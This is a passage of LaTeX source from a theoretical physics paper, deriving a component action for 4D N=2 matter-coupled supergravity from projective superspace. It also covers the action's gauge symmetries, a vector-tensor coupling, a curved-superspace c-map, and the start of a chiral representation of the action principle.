-12({\tilde{\sigma}}^{ab})_\bd{}^{\dot\gamma}\bar{\Psi}_a{}^{\bd-}\phi_b{}^{+-}\cDB_{\dot\gamma}^{-}
\nonumber
\allowdisplaybreaks
\\
&&~~~
+4(\sigma^{ab})^\alpha{}_\beta\Psi_a{}^{\beta -}\bar{\Psi}_b{}^{{\dot\gamma}-}\{\cDB_{\dot\gamma}^{+},\cD_\alpha^{ -}\}
-4({\tilde{\sigma}}^{ab})^\ad{}_\bd\bar{\Psi}_a{}^{\bd-}\Psi_b{}^{\gamma-}\{\cD_\gamma^+,\cDB_\ad^{-}\}
\nonumber
\allowdisplaybreaks
\\
&&~~~
+4(\sigma^{ab})^\alpha{}_\beta\Psi_a{}^{\beta -}\Psi_b{}^{\gamma-}\{\cD_\gamma^+,\cD_\alpha^{ -}\}
-4({\tilde{\sigma}}^{ab})^\ad{}_\bd\bar{\Psi}_a{}^{\bd-}\bar{\Psi}_b{}^{{\dot\gamma}-}\{\cDB_{\dot\gamma}^{+},\cDB_\ad^{-}\}
\nonumber
\allowdisplaybreaks
\\
&&~~~
-32\upm (\sigma^{ab})^\alpha{}_\beta\Psi_a{}^{\beta -}\bar{\Psi}_b{}^{\ad-}G_{\alpha\ad}
-8\upm (\sigma^{ab})^\alpha{}_\beta\Psi_a{}^{\beta -}\Psi_b{}^{\gamma-}Y_{\alpha\gamma}
\nonumber
\allowdisplaybreaks
\\
&&~~~
-8\upm ({\tilde{\sigma}}^{ab})^\ad{}_\bd\bar{\Psi}_a{}^{\bd-}\bar{\Psi}_b{}^{{\dot\gamma}-}\bar{Y}_{\ad{\dot\gamma}}
\Big{]}\cL^{++}\Big|~.
\label{122}
\end{eqnarray}
In order to cancel the first six terms in (\ref{122}),
we have to add to the action one more structure
\begin{eqnarray}
S_4&=&\oint {\rm d} \mu^{(-2,-4)}
\int{\rm d}^4 x \,e
\Big{[}
-2(\sigma^{ab})^{\alpha}{}_{\beta}\Psi_{[a}{}^{\beta-}\bar{\Psi}_{b]}{}^{\ad-}\cD_\alpha^{-}\cDB_{\ad}^{-}
-2({\tilde{\sigma}}^{ab})^{\ad}{}_{\bd}\Psi_{[a}{}^{\alpha-}\bar{\Psi}_{b]}{}^{\bd-}\cD_\alpha^{-}\cDB_{\ad}^{-}
\nonumber\\
&&
+(\sigma^{ab})^{\alpha\beta}\Psi_a{}_\alpha^{-}\Psi_{b}{}_\beta^{-}(\cD^-)^2
+({\tilde{\sigma}}^{ab})^{\ad\bd}\bar{\Psi}_a{}_\ad^{-}\bar{\Psi}_b{}_{\bd}^{-}(\cDB^{-})^2
\Big{]}\cL^{++}(z,u^+)\Big|
\label{S_4}
\end{eqnarray}
and consider the variation
$\delta(S_0+S_1+S_2+S_3+S_4)$.
We use (\ref{cD_a-proj}), then move $\cD^+,\,\cDB^+$ derivatives,
Lorentz and SU(2) generators to the right. Next we should move to the left
all ${\nabla}_a$ derivatives and use the rule for integration by parts, eq. (\ref{integ-by-parts}).
At this stage, we can use the identities
\begin{eqnarray}
&&{\nabla}_{[a}\Psi_{b]}{}^{\gamma-}=
-{\frac18}({\tilde{\sigma}}_{ab})^{\ad\bd}(\cD^{\gamma-}\bar{Y}_{\ad\bd})|
+{\frac18}(\sigma_{ab})^{\alpha\beta}(\cD^{\gamma-}W_{\alpha\beta})|
+{\frac14}(\sigma_{ab})^{\gamma\delta}\cD_{\delta}^-\bar{S}^{+-}|
\nonumber\\
&&~~~
+{\rm i}(\sigma_{[a})^{(\alpha}{}_{\bd}\Psi_{b]}{}_\alpha^{-}G^{\gamma)\bd}|
-{{\rm i}\over2(u^+u^-)}({{\tilde{\sigma}}}_{[a})^{\ad\gamma}\bar{\Psi}_{b]}{}_\ad^+\bar{S}^{--}|
+{{\rm i}\over 2(u^+u^-)}({{\tilde{\sigma}}}_{[a})^{\ad\gamma}\bar{\Psi}_{b]}{}_\ad^-\bar{S}^{+-}|
\nonumber\\
&&~~~
-{{\rm i}\over 2}({\sigma}_{[a})_\alpha{}^{\ad}\bar{\Psi}_{b]}{}_\ad^-{W}^{\alpha\gamma}|
-{{\rm i}\over 2}({\sigma}_{[a})^{\gamma}{}_\bd\bar{\Psi}_{b]}{}_\ad^-\bar{Y}^{\ad\bd}|
+\frac{1}{ (u^+u^-)} \Big\{ \phi_{[a}{}^{+-}\Psi_{b]}{}^{\gamma -}
- \phi_{[a}{}^{--}\Psi_{b]}{}^{\gamma +} \Big\}~~~~~
\nonumber\\
&&~~~
-\frac{2{\rm i}}{ (u^+u^-)}(\sigma^c)_\delta{}^{\dot\delta}\Psi_c{}^{\gamma-}
\Big\{ \Psi_{[a}{}^{\delta +}\bar{\Psi}_{b]}{}_{\dot\delta}^-
-\Psi_{[a}{}^{\delta -}\bar{\Psi}_{b]}{}_{\dot\delta}^+ \Big\}
\label{D-Psi-2-2}
~~~~~~~~~~
\end{eqnarray}
and
\begin{eqnarray}
&&{\nabla}_{[a}\bar{\Psi}_{b]}{}_{\dot\gamma}^-
=
-{\frac18}(\sigma_{ab})^{\alpha\beta}(\cDB_{\dot\gamma}^{-}Y_{\alpha\beta})|
+{\frac18}({\tilde{\sigma}}_{ab})^{\ad\bd}(\cDB_{{\dot\gamma}}^{-}\bar{W}_{\ad\bd})|
-{\frac14}({\tilde{\sigma}}_{ab})_{{\dot\gamma}{\dot\delta}}(\cDB^{{\dot\delta}-}S^{+-})|
\nonumber\\
&&~~~
-{\rm i}(\sigma_{[a})^\alpha{}_{(\ad}\bar{\Psi}_{b]}{}^{\ad-}G_{\alpha{\dot\gamma})}|
+{{\rm i}\over2(u^+u^-)}({\sigma}_{[a})_{\alpha{\dot\gamma}}\Psi_{b]}{}^{\alpha +}S^{--}|
-{{\rm i}\over2(u^+u^-)}({\sigma}_{[a})_{\alpha{\dot\gamma}}\Psi_{b]}{}^{\alpha -}S^{+-}|
\nonumber\\
&&~~~
-{{\rm i}\over2}({\sigma}_{[a})_\alpha{}^{{\dot\delta}}\Psi_{b]}{}^{\alpha -}\bar{W}_{{\dot\delta}{\dot\gamma}}|
-{{\rm i}\over2}({\sigma}_{[a})^{\beta}{}_{\dot\gamma} \Psi_{b]}{}^{\alpha -}Y_{\alpha\beta}|
+\frac{1}{ (u^+u^-)}\Big\{ \phi_{[a}{}^{+-}\bar{\Psi}_{b]}{}_{{\dot\gamma}}^-
- \phi_{[a}{}^{--}\bar{\Psi}_{b]}{}_{{\dot\gamma}}^+ \Big\}
\nonumber\\
&&~~~
-\frac{2{\rm i} }{ (u^+u^-)}(\sigma^c)_\delta{}^{\dot\delta}
\Big\{
\Psi_{[a}{}^{\delta +}\bar{\Psi}_{b]}{}_{\dot\delta}^-
-\Psi_{[a}{}^{\delta -}\bar{\Psi}_{b]}{}_{\dot\delta}^+ \Big\}
\bar{\Psi}_c{}_{\dot\gamma}^- ~,
\label{D-Psi-bar-2-2}
\end{eqnarray}
which follow from (\ref{D-Psi}) and (\ref{D-Psi-bar}).
After rather long computation, which involves
algebraic manipulations using some results
from Appendix A, non-trivial cancellations occur.
One obtains
\begin{eqnarray}
&&\delta(S_0+S_1+S_2+S_3+S_4)=
\oint {\rm d} \mu^{(-2,-4)}\beta
\int{\rm d}^4 x \,e
\Big{[}
-24(\sigma^{ab})^{\alpha\beta}\Psi_a{}_\alpha^{-}\Psi_{b}{}_\beta^{-}S^{+-}
\nonumber
\allowdisplaybreaks
\\
&&
-24(\sigma^{ab})_{\alpha\beta}\Psi_{a}{}^{\alpha +}\Psi_b{}^{\beta -}S^{--}
-24({\tilde{\sigma}}^{ab})_{\ad\bd}\bar{\Psi}_a{}^{\ad-}\bar{\Psi}_b{}^{\bd-}\bar{S}^{+-}
-24({\tilde{\sigma}}^{cd})_{\ad\bd}\bar{\Psi}_{a}{}^{\bd+}\bar{\Psi}_b{}^{\ad-}\bar{S}^{--}
\nonumber
\allowdisplaybreaks
\\
&&
-6{\rm i}\bar{\Psi}^{\alpha\ad}{}_\ad^{-}\bar{S}^{+-}\cD_\alpha^{-}
-3{\rm i}\bar{\Psi}_{\alpha\ad}{}^{\ad+}\bar{S}^{--}\cD^{\alpha-}
-6{{\rm i}}\Psi^{\alpha\ad}{}_\alpha^{-}S^{+-}\cDB_\ad^{-}
-3{\rm i}\Psi^{\alpha\ad}{}_\alpha^{+}S^{--}\cDB_\ad^{-}
\nonumber
\allowdisplaybreaks
\\
&&
+8(\sigma^{ab})_{\alpha\beta}\phi_{a}{}^{+-}\Psi_b{}^{\alpha -}\cD^{\beta-}
+4(\sigma^{ab})_{\alpha\beta}\phi_{a}{}^{--}\Psi_{b}{}^{\alpha +}\cD^{\beta-}
-8({\tilde{\sigma}}^{ab})_{\ad\bd}\phi_a{}^{+-}\bar{\Psi}_b{}^{\ad-}\cDB^{\bd-}
\nonumber
\allowdisplaybreaks
\\
&&
-4({\tilde{\sigma}}^{ab})_{\ad\bd}\phi_{a}{}^{--}\bar{\Psi}_{b}{}^{\ad+}\cDB^{\bd-}
-4\ve^{abcm}(\sigma_m)_{\alpha\ad}\Psi_{a}{}^{\alpha +}\Psi_{b}{}^{\beta-}\bar{\Psi}_{c}{}^{\ad-}\cD_\beta^{-}
\nonumber
\allowdisplaybreaks
\\
&&
-4\ve^{abcm}(\sigma_m)_{\alpha\ad}\Psi_{a}{}^{\beta-}\Psi_{b}{}^{\alpha -}\bar{\Psi}_{c}{}^{\ad+}\cD_\beta^{-}
-4\ve^{abcm}(\sigma_m)_{\alpha\ad}\Psi_a{}^{\alpha-}\Psi_b{}^{\beta+}\bar{\Psi}_c{}^{\ad-}\cD_\beta^-
\nonumber
\allowdisplaybreaks
\\
&&
-4\ve^{abcm}(\sigma_m)_{\alpha\ad}\Psi_{a}{}^{\alpha+}\bar{\Psi}_{b}{}^{\ad-}\bar{\Psi}_{c}{}^{\bd-}\cDB_\bd^{-}
-4\ve^{abcm}(\sigma_m)_{\alpha\ad}\Psi_{a}{}^{\alpha-}\bar{\Psi}_{b}{}^{\ad+}\bar{\Psi}_{c}{}^{\bd-}\cDB_\bd^{-}
\nonumber
\allowdisplaybreaks
\\
&&
-4\ve^{abcm}(\sigma_m)_{\alpha\ad}\Psi_a{}^{\alpha -}\bar{\Psi}_b{}^{\ad-}\bar{\Psi}_c{}^{\bd+}\cDB_\bd^{-}
+12\ve^{abcm}(\sigma_m)_{\alpha\ad}\phi_{a}{}^{--}\Psi_{b}{}^{\alpha +}\bar{\Psi}_c{}^{\ad-}
\nonumber
\allowdisplaybreaks
\\
&&
+12\ve^{abcm}(\sigma_m)_{\alpha\ad}\phi_{a}{}^{--}\Psi_b{}^{\alpha -}\bar{\Psi}_{c}{}^{\ad+}
+24\ve^{abcm}(\sigma_m)_{\alpha\ad}\phi_a{}^{+-}\Psi_b{}^{\alpha -}\bar{\Psi}_c{}^{\ad-}
\Big{]}\cL^{++}\Big|~.
\label{dS_01234}
\end{eqnarray}
The nontrivial point is that all terms with four gravitinos
have identically cancelled out
at this stage. And one more iteration --
we have to add to the action the following structure:
\begin{eqnarray}
S_5&=&
\oint {\rm d} \mu^{(-2,-4)}
\int{\rm d}^4 x \,e
\Big{[}
3{\rm i}\bar{\Psi}^{\alpha\ad}{}_\ad^{-}\bar{S}^{--}\cD_\alpha^{-}
+3{{\rm i}}\Psi^{\alpha\ad}{}_\alpha^{-}S^{--}\cDB_\ad^{-}
+12(\sigma^{ab})^{\alpha\beta}\Psi_a{}_\alpha^{-}\Psi_{b}{}_\beta^{-}S^{--}
\nonumber\\
&&
+12({\tilde{\sigma}}^{ab})^{\ad\bd}\bar{\Psi}_a{}_\ad^{-}\bar{\Psi}_b{}_{\bd}^{-}\bar{S}^{--}
-4(\sigma^{ab})_{\beta\gamma}\phi_{a}{}^{--}\Psi_{b}{}^{\gamma-}\cD^{\beta-}
+4({\tilde{\sigma}}^{ab})^{\bd{\dot\gamma}}\phi_{a}{}^{--}\bar{\Psi}_{b}{}_{{\dot\gamma}}^-\cDB_\bd^{-}
\nonumber\\
&&
-12\ve^{abcd}(\sigma_d)_{\gamma\ad}\phi_{a}{}^{--}\Psi_{b}{}^{\gamma -}\bar{\Psi}_c{}^{\ad-}
+4\ve^{abcd}(\sigma_d)_{\alpha\ad}\Psi_{a}{}^{\alpha-}\Psi_{b}{}^{\beta-}\bar{\Psi}_{c}{}^{\ad-}\cD_\beta^{-}
\nonumber\\
&&
+4\ve^{abcd}(\sigma_d)_{\alpha\ad}\Psi_a{}^{\alpha-}\bar{\Psi}_b{}^{\ad-}\bar{\Psi}_c{}^{\bd-}\cDB_\bd^{-}
\Big{]}\cL^{++}\Big|~.
\label{S_5}
~~~~~~~~~~~~
\end{eqnarray}
This proves to complete the procedure.
One can now check that
\begin{eqnarray}
&&\delta(S_0+S_1+S_2+S_3+S_4+S_5)=\delta S=0
\label{dS_012345}
\end{eqnarray}
We have thus demonstrated that the action (\ref{Sfin-0}) is uniquely
obtained from the requirement of projective invariance.
\subsection{Analysis of the results}
The component action (\ref{Sfin-0}) is the main result of this work.
In technical terms, our procedure for deriving (\ref{Sfin-0}) from the original superspace
action (\ref{InvarAc}) has many similarities with
the earlier construction for 5D $\cN=1$ supergravity \cite{KT-Msugra1}.
There is, however, a very important conceptual difference.
The point is that, unlike the five dimensional analysis in \cite{KT-Msugra1},
no Wess-Zumino gauge has been assumed
in the process of deriving (\ref{Sfin-0}).\footnote{A careful analysis of the 5D construction
\cite{KT-Msugra1} shows that the choice of the Wess-Zumino gauge was not essential.
It is just an unfortunate stereotype forced upon us by textbook lessons \cite{WB,GGRS,BK}
that choosing Wess-Zumino gauge is imperative for component reduction.}
In other words, all the gauge symmetries of the
parental superspace action (\ref{InvarAc}) are preserved by its component counterpart
(\ref{Sfin-0}).\footnote{Most of purely gauge degrees of freedom are contained
in the vielbein and connection superfields for $\cD^i_\alpha$ and ${\bar \cD}^i_\ad$.
In the construction used, however, these objects do not show up explicitly.}
This huge gauge freedom can be used at will
depending on concrete dynamical circumstances.
It is worth giving two examples.
The action is invariant under the super-Weyl transformations generated by a covariantly
chiral parameter $\sigma$, ${\bar \cD}^i_\ad \sigma =0$.
This local symmetry can be used to choose a useful gauge condition,
for instance, to set
the field strength $W$ of the compensating vector multiplet to be
\begin{equation}
W=1~.
\end{equation}
The action is invariant under local SU(2) transformations generated
by a real symmetric parameter $K^{ij}$ that is otherwise unconstrained,
see eqs. (\ref{tau}) and (\ref{tensor-K}).
Consider an off-shell tensor multiplet described by a symmetric
real superfield $H^{ij}(z)$,
\begin{equation}
\cD^{(i}_\alpha H^{jk)} = {\bar \cD}^{(i}_\ad H^{jk)}=0~,
\qquad H^{ij} =H^{ji}~, \qquad
\overline{H^{ij}} = H_{ij}~.
\label{tensor-anal}
\end{equation}
Associated with $H^{ij}(z)$ is the $O(2)$ multiplet
$H^{++}(z,u^+) = H^{ij} (z) u^+_iu^+_j$.
We will assume $H^{ij}$ to be nowhere vanishing,
\begin{equation}
H^{ij}H_{ij} \neq 0~,
\label{vev}
\end{equation}
the condition required of a superconformal compensator.
Then, the SU(2) gauge freedom can be partially fixed as
\begin{equation}
H^{ij} = -\frac{{\rm i}}{2} \,(\sigma_1)^{ij} \,G ~,
\qquad {\bar G} =G>0~, \qquad
(\sigma_1)^{ij}= \left(
\begin{array}{rr}
0 ~ & 1 \\
1 ~ & 0
\end{array}
\right) ~,
\label{tensor-g-c}
\end{equation}
which leaves an unbroken U(1) gauge symmetry.
To be consistent with the constraint (\ref{tensor-anal}),
the SU(2) connection should be
\begin{equation}
\Phi^i_\alpha{}^{jk} ={\rm i} \, \Sigma^i_\alpha (\sigma_1)^{jk}
+ \ve^{i(j} E^{k)}_\alpha \ln G ~,
\end{equation}
with $ \Sigma^i_\alpha$ a U(1) connection.
We will give an application of the gauge condition (\ref{tensor-g-c})
in the next subsection.
Let us denote by $\cP^{(0,4)}(u^-)$ the differential operator in the square
brackets in (\ref{Sfin-0}). Then the component action can be rewritten as
\begin{eqnarray}
S&=& \int{\rm d}^4 x \,e
\oint_C {\rm d} \mu^{(-2,-4)}\, \cP^{(0,4)}(u^-) \cL^{++}(z,u^+) \big|~.
\end{eqnarray}
Without loss of generality, we can assume the north pole of ${\mathbb C}P^1$,
i.e. $u^{+i} \propto (0,1)$,
to be outside of the integration contour, hence $u^+$
can be represented as
\begin{eqnarray}
u^{+i} =u^{+{\underline{1}}}(1,\zeta) =u^{+{\underline{1}}}\zeta^i ~,\qquad
\zeta^i=(1,\zeta)~, \qquad \zeta_i= \ve_{ij} \,\zeta^j=(-\zeta,1)~,
\label{north-chart}
\end{eqnarray}
with $\zeta$ the local complex coordinate for ${\mathbb C}P^1$.
Now, the projective invariance, eqs. (\ref{delta-u-}) and (\ref{ode}),
can be used to set
\begin{equation}
u^-_i \equiv \hat{u}^-_i = (1,0) ~, \qquad
\quad ~\hat{u}^{-i}=\ve^{ij }\,\hat{u}^-_j=(0,-1)~.
\label{fix-u-}
\end{equation}
${}$Finally, representing the Lagrangian in the form
\begin{equation}
\cL^{++}(z,u^+) = {\rm i}\, u^{+{\underline{1}}} u^{+{\underline{2}}}\,
\cL(z,\zeta) = {\rm i} \big( u^{+{\underline{1}}} \big)^2 \zeta\, \cL(z,\zeta)~,
\label{L++toL}
\end{equation}
the action turns into
\begin{eqnarray}
S&=& -\int{\rm d}^4 x \,e \, \cP
\oint_C \frac{ {\rm d} \zeta}{2\pi {\rm i}} \, \zeta\, \cL(z,\zeta)\big|~, \qquad \quad
\cP := \cP^{(0,4)}(\hat{u}^-) ~.
\label{Sfin-zeta}
\end{eqnarray}
The important point is that the operator $\cP$ is $\zeta$-independent, and therefore
its presence is not relevant when evaluating the contour integral.
If the original Lagrangian, $\cL^{++}$, depends on matter superfields only,
the contour integral in (\ref{Sfin-zeta}) corresponds to that arising in a rigid
superconformal theory \cite{K-hyper2}.
\subsection{Application I: Gauge invariance of the vector-tensor coupling}
Let $S(\cL^{++})$ denote the action (\ref{InvarAc}).
Consider $\cL^{++}_{\rm v-t} = H^{++} V$, where $H^{++}(z,u^+)$ is
a tensor multiplet (or a real $O(2)$ multiplet),
and $V(z,u^+) $ a real weight-zero tropical multiplet
(see \cite{KLRT-M} for more detail).
The latter describes a massless vector multiplet
provided there is gauge invariance
\begin{equation}
\delta V = \lambda + \tilde{\lambda} ~,
\label{vector-g-i}
\end{equation}
where $\lambda(z,u^+)$ is an arctic weight-zero multiplet,
and $\tilde{\lambda} (z,u^+)$ its smile conjugate (see \cite{KLRT-M} for more detail).
We can now prove that the functional $S (H^{++} V) $
is invariant under the gauge transformation (\ref{vector-g-i}).
It is sufficient to prove that
\begin{equation}
S(H^{++} \lambda) =0~,
\end{equation}
for an arbitrary arctic weight-zero superfield $\lambda(z,u^+)$.
The latter follows from the fact that the action (\ref{Sfin-0})
with $\cL^{++} = H^{++} \lambda$ has no pole in the complex $\zeta$-plane.
\subsection{Application II: The c-map}
In this subsection we would like to give a curved superspace
description for the c-map \cite{cmap1,cmap2}.
The problem of developing a superspace description for the c-map
has already been discussed in \cite{RVV} (see also \cite{BS}) and \cite{NPV}.
However, since no projective superspace formulation
for 4D $\cN=2$ matter-coupled supergravity was available at that time,
the only possible approach to address the problem was (i) to use the existence
of a one-to-one correspondence between $4n$-dimensional quaternionic K\"ahler spaces
and $4(n+1)$-dimensional hyperk\"ahler manifolds possessing a homothetic
Killing vector, and the fact that such hyperk\"ahler spaces
(or ``hyperk\"ahler cones'' \cite{deWRV}) are the target spaces for rigid $\cN=2$
superconformal sigma models;
and (ii) to construct an appropriate hyperk\"ahler cone
associated with a rigid superconformal model of $\cN=2$ tensor multiplets.
Now, we are in a position to overcome all the limitations of the earlier
works.
In accordance with \cite{RVV}, a tensor multiplet model
corresponding to the c-map is described by the Lagrangian
\begin{equation}
\cL^{++} = \frac{1}{2{\rm i} \,H^{++}_0} \Big( F( H^{++}_{ I})
- \bar{F} ( H^{++}_{ I}) \Big)~, \qquad I=1, \dots , N+1~.
\label{cmap1}
\end{equation}
Here $ H^{++}_{ I}$ and $H^{++}_0$ are tensor multiplets,
with $H^{++}_0$ obeying the constraint (\ref{vev}),
and $F(z^I)$ is a holomorphic homogeneous function of second degree,
$F(c\,z^I)= c^2F(z^I)$.
Thus we have to consider the following action:
\begin{eqnarray}
S&=& {\rm Im} \int{\rm d}^4 x \,e \, \cP
\oint_C \frac{ {\rm d} \zeta}{2\pi {\rm i}} \,
\frac{F\big(H_I (\zeta) \big)}{H_0(\zeta)}\Big|~,
\label{cmap2}
\end{eqnarray}
where the superfields $H_I(\zeta)$ and $H_0(\zeta)$ are defined as
\begin{eqnarray}
H^{++}_I(z,u^+) &=& {\rm i} \big( u^{+{\underline{1}}} \big)^2 H_I(z,\zeta)~,
\qquad
H_I(\zeta) = \Phi_I + \zeta G_I -\zeta^2 \bar{\Phi}_I~,
\end{eqnarray}
and similarly for $H_0(\zeta)$.
Before we start studying the curved-superspace action (\ref{cmap2}), it is worth
giving some comments about its flat superspace version.
Let $\cP_{\rm flat} $ and $\cL_{\rm flat} $
be the flat-superspace counterparts of the operator $\cP$ (\ref{Sfin-zeta}) and the Lagrangian
$\cL$ (\ref{L++toL}). We obviously have
\begin{eqnarray}
\cP_{\rm flat} =\frac{1}{16} (D^{\underline{1}})^2 ({\bar D}^{\underline{1}})^2
= \frac{1}{16} (D^{\underline{1}})^2 ({\bar D}_{\underline{2}})^2~,
\end{eqnarray}
with $D^i_\alpha$ and ${\bar D}^\ad_i$ the flat spinor covariant derivatives.
It is easy to see that the flat-superspace version of the analyticity conditions (\ref{ana-introduction})
implies $({\bar D}^\ad_{\underline{1}} +\zeta {\bar D}^\ad_{\underline{2}} )\cL_{\rm flat}(\zeta)=0$, and thus for the
rigid supersymmetric action $S_{\rm flat}$ we get
\begin{eqnarray}
S_{\rm flat} &=& {\rm Im} \int{\rm d}^4 x \,
\oint_C \frac{ {\rm d} \zeta}{2\pi {\rm i}} \, \cP_{\rm flat}
\frac{F\big(H_I (\zeta) \big)}{H_0(\zeta)}\Big|
= {\rm Im} \int{\rm d}^4 x \,
\frac{(D^{\underline{1}})^2 ({\bar D}_{\underline{1}})^2}{16}
\oint_C \frac{ {\rm d} \zeta}{2\pi {\rm i} \zeta^2} \,
\frac{F\big(H_I (\zeta) \big)}{H_0(\zeta)}\Big| \nonumber \\
&=& {\rm Im} \int{\rm d}^4 x \, {\rm d}^2\theta {\rm d}^2 {} {\bar \theta}
\oint_C \frac{ {\rm d} \zeta}{2\pi {\rm i} \zeta^2} \,
\frac{F\big(H_I (\zeta) \big)}{H_0(\zeta)}\Big|_{\theta_{\underline{2}}={\bar \theta}^{\underline{2}}=0}
\label{cmap-flat}
\end{eqnarray}
The action obtained defines an $\cN=2$ supersymmetric
theory formulated in $\cN=1$ superspace.
It is the $\cN=2$ superconformal model which was studied in \cite{RVV,NPV}.
In \cite{RVV}, the problem of evaluating the contour integral
in (\ref{cmap-flat}) was reduced
to that solved several years earlier in \cite{GHK} (see also \cite{deWRV})
for the case of the rigid c-map.
Specifically, Ro\v{c}ek et al. \cite{RVV} imposed the SU(2) gauge condition
(\ref{tensor-g-c}) or, equivalently, $H_0(\zeta) = \zeta G_0 $, which
essentially corresponds the rigid c-map (more precisely,
$G_0=1$ in the case of the rigid c-map, but the presence of $G_0$
is irrelevant for computing the contour integral).
The subtlety with the analysis in \cite{RVV} is that their tensor multiplet model
is rigid superconformal, and hence the SU(2) parameters are constant.\footnote{Actually,
in the case of rigid $\cN=2$ supersymmetry, if a tensor multiplet is constrained as in
eq. (\ref{tensor-g-c}), then it is simply constant, $G={\rm const}$.}
In our case, however, the SU(2) transformations are local,
and it is legitimate
to choose the gauge condition (\ref{tensor-g-c}).
As a result, the action turns into
\begin{eqnarray}
S&=& {\rm Im} \int{\rm d}^4 x \,e \, \cP \,
\frac{F\big(\Phi_I \big)}{G_0}\Big|~
\label{cmap3}
\end{eqnarray}
provided the contour $C$ in (\ref{cmap2}) is taken to be a circle around
the origin in $\mathbb C$. Still, the consideration given is not quite satisfactory,
because of a special gauge chosen.
{}Fortunately, there is no need to impose any SU(2) gauge condition in order to do the contour
integral in (\ref{cmap2}). Following the rigid supersymmetric analysis of \cite{NPV},
we represent
\begin{eqnarray}
H_0(\zeta) = -{\bar \Phi}_0 \Big( \zeta- \zeta_+\Big) \Big( \zeta- \zeta_- \Big) ~,
\qquad
\zeta_\pm = \frac{1}{2 {\bar \Phi}_0} \Big(G_0 \mp \sqrt{G^2_0 +4 |\Phi_0|^2} \Big)~
\end{eqnarray}
and choose the contour $C$ in (\ref{cmap2}) to be a small circle around
the root $\zeta_+$. This leads to
\begin{eqnarray}
S&=& {\rm Im} \int{\rm d}^4 x \,e \, \cP \,
\frac{F\big(H_I (\zeta_+) \big)}{ \sqrt{G^2_0 +4 |\Phi_0|^2} }\,\Big|~.
\label{cmap4}
\end{eqnarray}
Since
\begin{equation}
\zeta_+ = - \frac{2\Phi_0}{ \big( G_0 + \sqrt{G^2_0 +4 |\Phi_0|^2} \big) }
~\stackrel{\Phi_0 \to 0}{\longrightarrow}~ 0~,
\end{equation}
the covariant action (\ref{cmap4}) reduces to (\ref{cmap3}) in the limit $\Phi_0 \to 0$.
In the flat superspace limit, we reproduce the results of \cite{RVV,NPV}.
\section{Chiral representation for the action principle}
\setcounter{equation}{0}
In this section we derive a new representation for the action
principle (\ref{InvarAc}) as an integral over the chiral subspace.
The covariantly chiral projector $\bar{\Delta}$ was defined in section 3, eq. (\ref{chiral-pr}).
It turns out that $\bar{\Delta}$ can be given an alternative representation.
It is
\begin{eqnarray}
\bar{\Delta} \oint (u^+ {\rm d} u^{+}) \,U^{(-2)}&=&
\frac{1}{16} \oint \frac{(u^+ {\rm d} u^{+})}{(u^+u^-)^2}
\Big( ({\bar \cD}^-)^2 +4\bar{S}^{--}\Big)
\Big( ({\bar \cD}^+)^2 +4\bar{S}^{++}\Big) U^{(-2)}~,~~~
\label{chiralproj2}
\end{eqnarray}
with $U^{(-2)}(z,u^+)$ an arbitrary isotwistor superfield of weight $-2$
(see \cite{KLRT-M} for the definition of isotwistor supermultiplets, as
well as Appendix B below).
As before, the constant isotwistor $u^-_i$
is chosen to be linearly independent from $u^+_i$, $ (u^+u^-)\neq0$,
but otherwise is completely arbitrary.
It is proved in Appendix C that
that
the right-hand side of (\ref{chiralproj2})
(i) remains invariant under
arbitrary projective transformations (\ref{projectiveGaugeVar});
and (ii) is covariantly chiral.
Let us transform the action functional (\ref{InvarAc}) by making use of
eqs. (\ref{chiralproj1}) and (\ref{chiralproj2}):
\begin{eqnarray}
S(\cL^{++})&=&
\frac{1}{2\pi}
\int {\rm d}^4 x \,{\rm d}^4\theta{\rm d}^4{\bar \theta}\,E
\oint (u^+ {\rm d} u^{+})\,
\frac{W{\bar W}\cL^{++}}{(\Sigma^{++})^2}
\nonumber \\
&=& \frac{1}{2\pi} \int {\rm d}^4x \,{\rm d}^4 \theta \, \cE \, \bar{\Delta}
\oint (u^+ {\rm d} u^{+}) \frac{W{\bar W}\cL^{++}}{(\Sigma^{++})^2}
\nonumber \\
&=& \frac{1}{32\pi} \int {\rm d}^4x \,{\rm d}^4 \theta \, \cE \,
\oint \frac{(u^+ {\rm d} u^{+})} {(u^+u^-)^2}
\Big( ({\bar \cD}^-)^2 +4\bar{S}^{--}\Big)
\Big( ({\bar \cD}^+)^2 +4\bar{S}^{++}\Big) \frac{W{\bar W}\cL^{++}}{(\Sigma^{++})^2}
\nonumber \\
&=& \frac{1}{8\pi} \int {\rm d}^4x \,{\rm d}^4 \theta \, \cE \, W
\oint \frac{(u^+ {\rm d} u^{+})} {(u^+u^-)^2}
\Big( ({\bar \cD}^-)^2 +4 \bar{S}^{--}\Big)
\frac{\cL^{++}}{\Sigma^{++}}~,
\label{action-proj-chiral}
\end{eqnarray}
where we have used eq. (\ref{Sigma}), the chirality of the vector multiplet strength,
${\bar \cD}^\ad_i W=0$, and the fact that $\cL^{++}$, $\Sigma^{++}$ and
${\bar \Sigma}^{++}$ obey the constrains (\ref{ana-introduction}).
This result can be interpreted as a coupling of two vector
multiplets described by the covariantly chiral field strengths $W$ and $\mathbb W$,
respectively.
\begin{eqnarray}
S(\cL^{++})&=&-\int {\rm d}^4x \,{\rm d}^4 \theta \, \cE \, W \,{\mathbb W}~, \nonumber \\
{\mathbb W} &=& -\frac{1}{8\pi} \oint \frac{(u^+ {\rm d} u^{+})} {(u^+u^-)^2}
\Big( ({\bar \cD}^-)^2 +4 \bar{S}^{--}\Big) {\mathbb V}~,
\qquad {\mathbb V}:= \frac{\cL^{++}}{\Sigma^{++}}~.
\end{eqnarray}
The composite superfield ${\mathbb V}$ introduced
can be interpreted as a tropical prepotential for the vector multiplet
described by $\mathbb W$.
Let us choose the Lagrangian in (\ref{action-proj-chiral}) to be $\cL^{++} = H^{++} \lambda$,
where $H^{++}(z,u^+) $ is a tensor multiplet, and $\lambda(z,u^+) $ an arctic multiplet.
Since both $H^{++}$ and $\lambda$ are independent of the vector multiplet described by
the strengths $W$ and $\bar W$, the latter can be chosen such that $\Sigma^{++}=H^{++}$.
Then
\begin{eqnarray}
S(H^{++} \lambda)&=& \frac{1}{8\pi} \int {\rm d}^4x \,{\rm d}^4 \theta \, \cE \, W
\Big( ({\bar \cD}^-)^2 +4\bar{S}^{--}\Big)
\oint \frac{(u^+ {\rm d} u^{+})} {(u^+u^-)^2}\,\lambda (z,u^+)~.
\end{eqnarray}
We can now represent $u^{+i} $ in the form (\ref{north-chart}) and
fix the projective invariance by choosing $u^-_i$ as in (\ref{fix-u-}).
\begin{eqnarray}
S(H^{++} \lambda)&=& -\frac{1}{8\pi} \int {\rm d}^4x \,{\rm d}^4 \theta \, \cE \, W
